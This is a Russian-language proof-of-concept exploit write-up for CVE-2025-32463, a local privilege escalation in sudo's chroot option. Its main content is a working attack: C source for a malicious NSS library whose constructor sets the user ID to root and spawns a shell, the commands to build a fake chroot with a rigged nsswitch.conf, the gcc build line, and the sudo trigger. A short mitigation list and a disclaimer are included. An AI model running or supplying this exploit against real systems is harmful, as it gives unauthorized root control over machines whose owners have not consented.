
Эксплойт PoC для CVE-2025-32463 - повышение привилегий в Sudo
Уязвимость повышения привилегий существует в sudo, затрагивающая системы на базе Linux/Unix. Ошибка возникает из-за неправильной проверки путей, когда sudo используется с опцией -R (--chroot), что позволяет злоумышленникам повысить привилегии до root через загрузку вредоносной библиотеки NSS.
sudo выполняет команду внутри chroot-окружения (опция -R), оно неправильно обрабатывает загрузку библиотеки NSS (Name Service Switch) при возникновении ошибок.LD_LIBRARY_PATH или пути в /etc/nsswitch.conf) может привести к загрузке вредоносной библиотеки вместо легитимной библиотеки NSS (например, libnss_files.so).sudo до последней исправленной версии.sudo (по возможности ограничьте использование chroot).LD_LIBRARY_PATH./etc/nsswitch.conf.secure_path в /etc/sudoers, чтобы ограничить пути поиска библиотек.| Компонент | Триггер уязвимости |
|---|---|
sudo -R | Неправильная проверка пути chroot. |
| NSS | Небезопасная загрузка библиотеки при ошибках. |
| Эксплойт | Перехват пути → Загрузка вредоносной библиотеки. |
CVE ID: CVE-2025-32463
Затронутые версии: Sudo 1.9.14 – 1.9.17
Оценка CVSS: 9.8 (Критическая)
Воздействие: Локальное повышение привилегий до root
Если выводится No such file or directory, значит система уязвима:
sudo -R invalid invalid
sudo: invalid: No such file or directory
Сначала создаем временный каталог для работы:
TMP_DIR=$(mktemp -d -t sudobridge.XXXXXX) cd $TMP_DIR
Это создает уникально именованный временный каталог и переходит в него. Команда mktemp гарантирует, что мы не вмешиваемся в существующие системные файлы.
Нам нужно создать C-файл (bridge90.c), который будет скомпилирован во вредоносную библиотеку:
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void bridge(void) {
setreuid(0,0); // Установить реальный и эффективный идентификатор пользователя в root
setregid(0,0); // Установить реальный и эффективный идентификатор группы в root
chdir("/"); // Перейти в корневой каталог
execl("/bin/sh", "sh", "-c", "/bin/bash", NULL); // Запустить оболочку
}
Ключевые компоненты:
__attribute__((constructor)) гарантирует, что функция выполняется при загрузке библиотекиsetreuid и setregid повышают привилегии до rootexecl порождает оболочку bashmkdir -p bridge/etc echo "passwd: /bridge90" > bridge/etc/nsswitch.conf cp /etc/group bridge/etc/ mkdir libnss_ gcc -shared -fPIC -Wl,-init,bridge -o libnss_/bridge90.so.2 bridge90.c
Разбор:
sudo -R bridge bridge
Эта команда пытается использовать нашу подстроенную среду:
После успешной эксплуатации проверьте доступ root:
whoami # Должен вернуть "root"
id -u # Должен вернуть "0" (UID root)
graph LR
A[Malicious Library] --> B[Fake Chroot]
B --> C[Trigger Error]
C --> D[Library Load]
D --> E[Root Execution]
Этот эксплойт PoC предназначен только для образовательных целей! Я не несу ответственности за любое неправильное использование этого эксплойта!